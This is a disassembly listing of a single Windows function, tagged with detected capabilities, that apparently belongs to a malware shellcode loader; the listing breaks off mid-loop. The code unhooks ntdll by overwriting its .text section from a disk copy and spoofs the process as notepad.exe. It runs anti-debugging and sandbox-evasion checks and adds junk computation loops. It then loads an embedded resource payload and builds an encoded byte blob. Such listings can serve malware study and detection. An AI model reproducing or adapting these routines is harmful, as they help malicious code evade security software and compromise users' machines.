Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x310], xmm6
mov dword [rbp + 0x340], ecx
mov qword [rbp + 0x348], rdx
call fcn.140002c10
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2a0], rax
mov ecx, 0x2c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x298], rax
mov dword [rbp + 0x30c], 0
jmp 0x140001518
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x30c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x298]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x30c], 1
cmp dword [rbp + 0x30c], 0xb1
jle 0x1400014cb
mov dword [rbp + 0x30c], 0
jmp 0x140001608
cmp dword [rbp + 0x30c], 0
je 0x140001578
mov eax, dword [rbp + 0x30c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x298]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x30c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x298]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001584
add dword [rbp + 0x30c], 1
jmp 0x140001608
mov eax, dword [rbp + 0x30c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x298]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0xf0], eax
mov eax, dword [rbp + 0x30c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x298]
add rax, rdx
mov edx, dword [rbp + 0x30c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x298]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x30c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x298]
add rdx, rax
mov eax, dword [rbp + 0xf0]
mov dword [rdx], eax
sub dword [rbp + 0x30c], 1
cmp dword [rbp + 0x30c], 0xb1
jle 0x140001533
mov rax, qword [rbp + 0x298]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x290], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x300], rax
cmp qword [rbp + 0x300], 0
jne 0x1400016ab
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x300], rax
cmp qword [rbp + 0x300], 0
je 0x140001c85
mov dword [rbp + 0x2f4], 0
mov ecx, 0x37e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x288], rax
mov dword [rbp + 0x2fc], 0
jmp 0x14000176b
mov dword [rbp + 0x2f8], 0
jmp 0x14000175b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x7b4dc993
shr rdx, 0x20
mov ecx, edx
sar ecx, 0xc
cdq
sub ecx, edx
imul edx, ecx, 0x2138
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x2fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x288]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x2f8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x2f8], 1
cmp dword [rbp + 0x2f8], 0x48
jle 0x1400016ef
add dword [rbp + 0x2fc], 1
cmp dword [rbp + 0x2fc], 0x30
jle 0x1400016e3
mov dword [rbp + 0x2fc], 0
jmp 0x1400017f9
mov dword [rbp + 0x2f8], 0
jmp 0x1400017e9
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2fc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x288]
add rdx, rax
mov eax, dword [rbp + 0x2f8]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x2f4], eax
add dword [rbp + 0x2f8], 1
cmp dword [rbp + 0x2f8], 0x48
jle 0x140001790
add dword [rbp + 0x2fc], 1
cmp dword [rbp + 0x2fc], 0x30
jle 0x140001784
mov rax, qword [rbp + 0x288]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x290]
mov r10, qword [rbp + 0x300]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0x280], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x278], rax
mov ecx, 0x408
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x270], rax
mov dword [rbp + 0x2f0], 0
jmp 0x14000193c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x2f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x270]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x2f0], 1
cmp dword [rbp + 0x2f0], 0x101
jle 0x1400018b3
mov dword [rbp + 0x2f0], 0
jmp 0x140001a68
mov dword [rbp + 0x244], 0
jmp 0x140001a4a
mov eax, dword [rbp + 0x2f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x270]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x244]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x270]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140001a43
mov eax, dword [rbp + 0x244]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x270]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x240], xmm0
mov eax, dword [rbp + 0x2f0]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x270]
add rdx, rax
mov eax, dword [rbp + 0x244]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x270]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x244]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x270]
add rax, rdx
movss xmm0, dword [rbp + 0x240]
movss dword [rax], xmm0
add dword [rbp + 0x2f0], 1
mov eax, 0x101
sub eax, dword [rbp + 0x2f0]
cmp dword [rbp + 0x244], eax
jl 0x14000196a
add dword [rbp + 0x2f0], 1
cmp dword [rbp + 0x2f0], 0x101
jle 0x14000195b
mov rax, qword [rbp + 0x270]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x278]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x280]
add rax, rdx
mov qword [rbp + 0x250], rax
mov word [rbp + 0x2ee], 0
jmp 0x140001c6d
mov rax, qword [rbp + 0x250]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x250]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x2ee]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001c5c
mov dword [rbp + 0x98], 0
mov rax, qword [rbp + 0x248]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x248]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x280]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x98]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x248]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x248]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x260]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x248]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x280]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x98]
mov rax, qword [rbp + 0x248]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x248]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x280]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x98]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x2ee]
add eax, 1
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x250]
movzx eax, word [rax + 6]
cmp word [rbp + 0x2ee], ax
jb 0x140001b31
mov ecx, 0xe64
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x238], rax
mov dword [rbp + 0x2e8], 0
jmp 0x140001d2e
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x2e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x238]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x2e8], 1
cmp dword [rbp + 0x2e8], 0x398
jle 0x140001ca5
mov dword [rbp + 0x2e8], 0
jmp 0x140001e5a
mov dword [rbp + 0xf8], 0
jmp 0x140001e3c
mov eax, dword [rbp + 0x2e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x238]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0xf8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x238]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140001e35
mov eax, dword [rbp + 0xf8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x238]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0xf4], xmm0
mov eax, dword [rbp + 0x2e8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x238]
add rdx, rax
mov eax, dword [rbp + 0xf8]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x238]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0xf8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x238]
add rax, rdx
movss xmm0, dword [rbp + 0xf4]
movss dword [rax], xmm0
add dword [rbp + 0x2e8], 1
mov eax, 0x398
sub eax, dword [rbp + 0x2e8]
cmp dword [rbp + 0xf8], eax
jl 0x140001d5c
add dword [rbp + 0x2e8], 1
cmp dword [rbp + 0x2e8], 0x398
jle 0x140001d4d
mov rax, qword [rbp + 0x238]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x2e0], 0xc8
mov dword [rbp + 0x2e4], 0xc8
jmp 0x140001e9d
sub dword [rbp + 0x2e0], 1
sub dword [rbp + 0x2e4], 1
cmp dword [rbp + 0x2e4], 0x32
jg 0x140001e8f
mov dword [rbp + 0x9c], 0
mov rax, qword [rbp + 0x2a8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xa0]
lea rax, [rbp + 0x9c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x230]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0xa8]
add rax, 0x3c
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x228]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x220], rax
cmp qword [rbp + 0x220], 0
je 0x140001f96
mov rax, qword [rbp + 0x220]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov ecx, 0
call rax
mov dword [rbp + 0x2dc], eax
cmp dword [rbp + 0x2dc], 0xffffffff
je 0x140002b44
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov ecx, 0
call rax
mov dword [rbp + 0x20c], eax
cmp dword [rbp + 0x20c], 0xffffffff
je 0x140002b44
mov ecx, 0x62d
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x62d
jne 0x140002b44
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0
jne 0x140002b44
mov dword [rbp + 0x94], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x94]
mov r8, qword [rbp + 0x1f0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x94]
cmp eax, 1
je 0x140002b44
mov qword [rbp + 0x1e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4de1a80
mov ecx, 0
call rax
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0
je 0x140002b44
mov rax, qword [rbp + 0x1e8]
mov edx, 0x4de1a80
mov rcx, rax
call fcn.140004170
mov rax, qword [rbp + 0x1e8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x1d8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1d0]
mov r9d, 0x3000
mov r8d, 0x2d8
mov edx, 0
call rax
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0
je 0x140002b44
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x1c0], rax
cmp qword [rbp + 0x1c0], 0
jne 0x140002b44
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
mov ecx, 0
call rax
mov dword [rbp + 0x1b4], eax
cmp dword [rbp + 0x1b4], 0xffffffff
je 0x140002b44
mov dword [rbp + 0x90], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x90]
mov r8, qword [rbp + 0x1a8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x90]
cmp eax, 1
je 0x140002b44
mov rax, qword [rbp + 0x2a0]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a0], rax
lea rax, str.UALBLBCNA
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x1a0]
lea r8, str.UALBLBCNA
mov ecx, 0
call rax
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x2a0]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x198]
mov r8, qword [rbp + 0x190]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x2a0]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x2a0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x2a0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x198]
mov r8, qword [rbp + 0x180]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x178]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x198]
mov r8, qword [rbp + 0x180]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x168]
mov r9, qword [rbp + 0x170]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x160], rax
mov ecx, 0x1c38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x2d8], 0
jmp 0x1400024ee
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x158]
add rax, rdx
movsd xmm1, qword [0x140006178]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x2d8], 1
cmp dword [rbp + 0x2d8], 0x386
jle 0x1400024b0
mov dword [rbp + 0x2d8], 0
jmp 0x140002558
mov eax, dword [rbp + 0x2d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x158]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2d8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x158]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2d8], 1
cmp dword [rbp + 0x2d8], 0x386
jle 0x140002506
mov rax, qword [rbp + 0x2a8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x198]
mov r8, qword [rbp + 0x180]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x188]
mov rax, qword [rbp + 0x160]
mov r9, qword [rbp + 0x150]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x2d4], 0
mov ecx, 0x374
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x148], rax
mov ecx, 0x374
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x140], rax
mov ecx, 0x374
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x138], rax
mov ecx, 0x374
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x130], rax
mov dword [rbp + 0x2cc], 0xdc
mov dword [rbp + 0x2d0], 0
jmp 0x1400026b9
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x148]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x140]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x2d0], 1
cmp dword [rbp + 0x2d0], 0xdc
jle 0x140002626
mov dword [rbp + 0x2d0], 0
jmp 0x140002758
mov eax, dword [rbp + 0x2cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x148]
add rax, rdx
mov edx, dword [rbp + 0x2d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x138]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x140]
add rax, rdx
mov edx, dword [rbp + 0x2d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x130]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x2cc], 1
add dword [rbp + 0x2d0], 1
cmp dword [rbp + 0x2d0], 0xdc
jle 0x1400026d8
mov rax, qword [rbp + 0x148]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x140]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x138]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x130]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x2c8], 0
mov dword [rbp + 0x2c4], 0
mov dword [rbp + 0x2c0], 0xffffffff
add dword [rbp + 0x2c0], 1
call sub.msvcrt.dll_rand
shl eax, 2
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006178]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c00
movq rax, xmm0
mov qword [rbp + 0x128], rax
cmp dword [rbp + 0x2c0], 0x17b
jle 0x1400027c2
movabs rax, 0x15a973fe58f798f5
movabs rdx, 0x1bfd89fcd3ab80ca
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xc034c7e83b89a40f
movabs rdx, 0xe40af03fe1cbd89
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xa5c63ee0d87f80c1
movabs rdx, 0xa7cd091539c06dda
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xc0a26658b51a0535
movabs rdx, 0xd7ce059cf8327c8d
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xce62b7a71d8269f6
movabs rdx, 0xb65cd75461bfc2c2
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xfd4371270ca765f0
movabs rdx, 0x6ef8ae927ec05c7b
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xda3035156ef8ae92
movabs rdx, 0x45d104fa48f64d
mov qword [rbp + 0x7c], rax
mov qword [rbp + 0x84], rdx
movabs rax, 0x1274eb479c24128c
movabs rdx, 0x2ec1646d560120ac
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x3b6a8e8b25702b3b
movabs rdx, 0xf5b7477d7252a5bb
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x9d0f00b1b3f84bf5
movabs rdx, 0x608e6d8e7a5baa
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rdx
mov dword [rbp + 0x2bc], 0
mov dword [rbp + 0x2b8], 1
mov dword [rbp + 0x2b4], 0
mov dword [rbp + 0x124], 0x139
jmp 0x140002984
mov edx, dword [rbp + 0x2bc]
mov eax, dword [rbp + 0x2b8]
add eax, edx
mov dword [rbp + 0xfc], eax
add dword [rbp + 0x2b4], 1
mov eax, dword [rbp + 0x2b8]
mov dword [rbp + 0x2bc], eax
mov eax, dword [rbp + 0xfc]
mov dword [rbp + 0x2b8], eax
